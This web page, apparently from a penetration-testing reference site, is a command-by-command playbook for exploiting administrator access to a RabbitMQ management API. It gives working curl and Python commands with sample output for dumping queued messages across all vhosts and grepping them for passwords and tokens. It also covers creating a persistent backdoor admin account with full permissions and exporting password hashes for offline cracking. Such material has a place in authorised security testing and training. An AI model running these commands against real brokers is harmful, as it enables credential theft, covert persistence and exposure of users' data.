Skip to content
HackIndex.io

RabbitMQ Management API Exploitation

5 min read Created Apr 4, 2026 Last updated Apr 4, 2026

Administrator access to the RabbitMQ management API provides full control over the message broker: reading queued messages, creating new users, modifying permissions, and accessing all vhost configurations. Application messages in queues often contain authentication tokens, session data, internal API calls, and credentials passed between services. Confirm valid administrator credentials through default credential testing before proceeding.

  • Read Messages from a Queue
  • Harvest All Queues Across All Vhosts
  • Search Messages for Sensitive Content
  • Create a New Administrator Account
  • Dump Full Broker Configuration

Read Messages from a Queue

The management API provides a direct message reading endpoint. Messages are base64-encoded in the response:

┌──(kali㉿kali)-[~]
└─$ curl -sk -u "$USER:$PASSWORD" -X POST http://$TARGET_IP:15672/api/queues/%2F/task_queue/get \
-H 'Content-Type: application/json' \
-d '{"count":10,"ackmode":"ack_requeue_true","encoding":"auto","truncate":50000}' 
[{"payload_bytes":156,"redelivered":false,"exchange":"","routing_key":"task_queue","message_count":141,"properties":{},"payload":"{\"task_id\":\"abc123\",\"token\":\"eyJhbGciOiJIUzI1NiJ9...\"}","payload_encoding":"string"}]
Explain command
-s Silent mode; suppresses progress meter and error messages.
-k Allow insecure TLS connections by skipping certificate verification.
-u "$USER:$PASSWORD" Authenticate with the given username and password credentials.
-X POST Specify HTTP POST as the request method.
http://$TARGET_IP:15672/api/queues/%2F/task_queue/get RabbitMQ management API endpoint to fetch messages from task_queue.
-H 'Content-Type: application/json' Set request header to indicate JSON body payload.
-d '{"count":10,"ackmode":"ack_requeue_true","encoding":"auto","truncate":50000}' JSON body: fetch 10 msgs, requeue after ack, auto encoding, truncate at 50000 bytes.

Use ack_requeue_true to read messages without consuming them: they stay in the queue and are not lost. Never use ack_requeue_false unless you intend to permanently remove messages from production queues.

Harvest All Queues Across All Vhosts

Iterate through all vhosts and queues and dump messages from each:

┌──(kali㉿kali)-[~]
└─$ # Get all queues with vhost and message count
┌──(kali㉿kali)-[~]
└─$ curl -sk -u "$USER:$PASSWORD" http://$TARGET_IP:15672/api/queues | python3 -c "
import sys, json
queues = json.load(sys.stdin)
for q in queues:
print(f\"{q['vhost']}\t{q['name']}\t{q.get('messages',0)} messages\")
" | sort -k3 -rn 
payments	payment_events	8 messages
/	task_queue	142 messages
production	user_sessions	3 messages
Explain command
-s Silent mode; suppresses progress meter and error messages.
-k Allows insecure SSL/TLS connections, skipping certificate verification.
-u "$USER:$PASSWORD" Authenticates with the specified username and password credentials.
http://$TARGET_IP:15672/api/queues Target RabbitMQ management API endpoint for listing all queues.
-k3 Sorts output by the third field (message count column).
-rn Sorts in reverse numeric order, highest message count first.
┌──(kali㉿kali)-[~]
└─$ VHOST='payments'
┌──(kali㉿kali)-[~]
└─$ QUEUE='payment_events'
┌──(kali㉿kali)-[~]
└─$ VHOST_ENC=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$VHOST', safe=''))")
┌──(kali㉿kali)-[~]
└─$ curl -sk -u "$USER:$PASSWORD" -X POST \
"http://$TARGET_IP:15672/api/queues/$VHOST_ENC/$QUEUE/get" \
-H 'Content-Type: application/json' \
-d '{"count":100,"ackmode":"ack_requeue_true","encoding":"auto"}' | python3 -m json.tool
Explain command
VHOST='payments' Sets the RabbitMQ virtual host name to 'payments'.
QUEUE='payment_events' Sets the target queue name to 'payment_events'.
VHOST_ENC=... URL-encodes the VHOST value using Python's urllib.parse.quote.
-sk Disables SSL verification (-k) and suppresses progress output (-s).
-u "$USER:$PASSWORD" Authenticates with RabbitMQ management API using basic auth credentials.
-X POST Sends an HTTP POST request to the RabbitMQ management API endpoint.
http://$TARGET_IP:15672/api/queues/$VHOST_ENC/$QUEUE/get RabbitMQ management API endpoint to fetch messages from a specific queue.
-H 'Content-Type: application/json' Sets the request Content-Type header to JSON.
-d '{"count":100,"ackmode":"ack_requeue_true","encoding":"auto"}' Fetches up to 100 messages, requeues them after reading, with auto encoding.
-m json.tool Pipes JSON output through Python's json.tool for pretty-printing.

Search Messages for Sensitive Content

┌──(kali㉿kali)-[~]
└─$ curl -sk -u "$USER:$PASSWORD" -X POST http://$TARGET_IP:15672/api/queues/%2F/task_queue/get \
-H 'Content-Type: application/json' \
-d '{"count":500,"ackmode":"ack_requeue_true","encoding":"auto"}' | \
python3 -c "
import sys, json, re
messages = json.load(sys.stdin)
for m in messages:
payload = m.get('payload','')
if re.search(r'(password|token|secret|key|credential|api)', payload, re.I):
print(payload)
" 
{"user":"john.smith","password":"P@ssword2026!","action":"login"}
{"api_token":"sk-prod-xK2aB1cD3eF4gH5i","service":"payment-gateway"}

Create a New Administrator Account

With admin access you can create a persistent backdoor account for continued access:

┌──(kali㉿kali)-[~]
└─$ # Create new admin user
┌──(kali㉿kali)-[~]
└─$ curl -sk -u "$USER:$PASSWORD" -X PUT http://$TARGET_IP:15672/api/users/pentestuser \
-H 'Content-Type: application/json' \
-d '{"password":"Pentest123!","tags":"administrator"}'
Explain command
-s Silent mode; suppresses progress meter and error messages.
-k Allow insecure TLS connections, skipping certificate verification.
-u "$USER:$PASSWORD" Authenticate with provided username and password credentials.
-X PUT Specifies HTTP PUT method for the request.
http://$TARGET_IP:15672/api/users/pentestuser RabbitMQ management API endpoint to create/update user 'pentestuser'.
-H 'Content-Type: application/json' Sets request header indicating JSON-encoded body payload.
-d '{"password":"Pentest123!","tags":"administrator"}' JSON body defining new user password and administrator role tag.
┌──(kali㉿kali)-[~]
└─$ # Grant full permissions on default vhost
┌──(kali㉿kali)-[~]
└─$ curl -sk -u "$USER:$PASSWORD" -X PUT http://$TARGET_IP:15672/api/permissions/%2F/pentestuser \
-H 'Content-Type: application/json' \
-d '{"configure":".*","write":".*","read":".*"}'
Explain command
-s Silent mode; suppresses progress meter and error messages.
-k Allow insecure SSL connections, skipping certificate verification.
-u "$USER:$PASSWORD" Authenticate with the specified username and password credentials.
-X PUT Use HTTP PUT method for the request.
http://$TARGET_IP:15672/api/permissions/%2F/pentestuser RabbitMQ management API endpoint for vhost '/' permissions on target.
-H 'Content-Type: application/json' Set request header to indicate JSON payload body.
-d '{"configure":".*","write":".*","read":".*"}' JSON body granting full configure, write, and read permissions via regex.

Dump Full Broker Configuration

The definitions export contains all users, vhosts, permissions, exchanges, queues, and bindings in a single JSON file:

┌──(kali㉿kali)-[~]
└─$ curl -sk -u "$USER:$PASSWORD" http://$TARGET_IP:15672/api/definitions > /tmp/rabbitmq_definitions.json
┌──(kali㉿kali)-[~]
└─$ cat /tmp/rabbitmq_definitions.json | python3 -m json.tool | grep -iE '"password_hash"|"name"' | head -30 
"name": "admin",
"password_hash": "base64encodedhashere==",
"name": "app_user",
"password_hash": "base64encodedhashere==",
Explain command
-s Silent mode; suppresses progress meter and error messages.
-k Allows insecure TLS connections by skipping certificate verification.
-u "$USER:$PASSWORD" Authenticates with the specified username and password credentials.
http://$TARGET_IP:15672/api/definitions Target RabbitMQ management API endpoint for exporting definitions.
-m json.tool Runs Python's built-in JSON pretty-printer module.
-iE Case-insensitive match using extended regular expressions.
"password_hash"|"name" Regex pattern to filter lines containing password hashes or names.
head -30 Limits output to the first 30 matching lines.

RabbitMQ password hashes use a salted SHA-256 or SHA-512 scheme. The hash format is base64-encoded and can be cracked offline. The definitions file also reveals all exchange and queue names across all vhosts: useful when direct API enumeration was incomplete.

References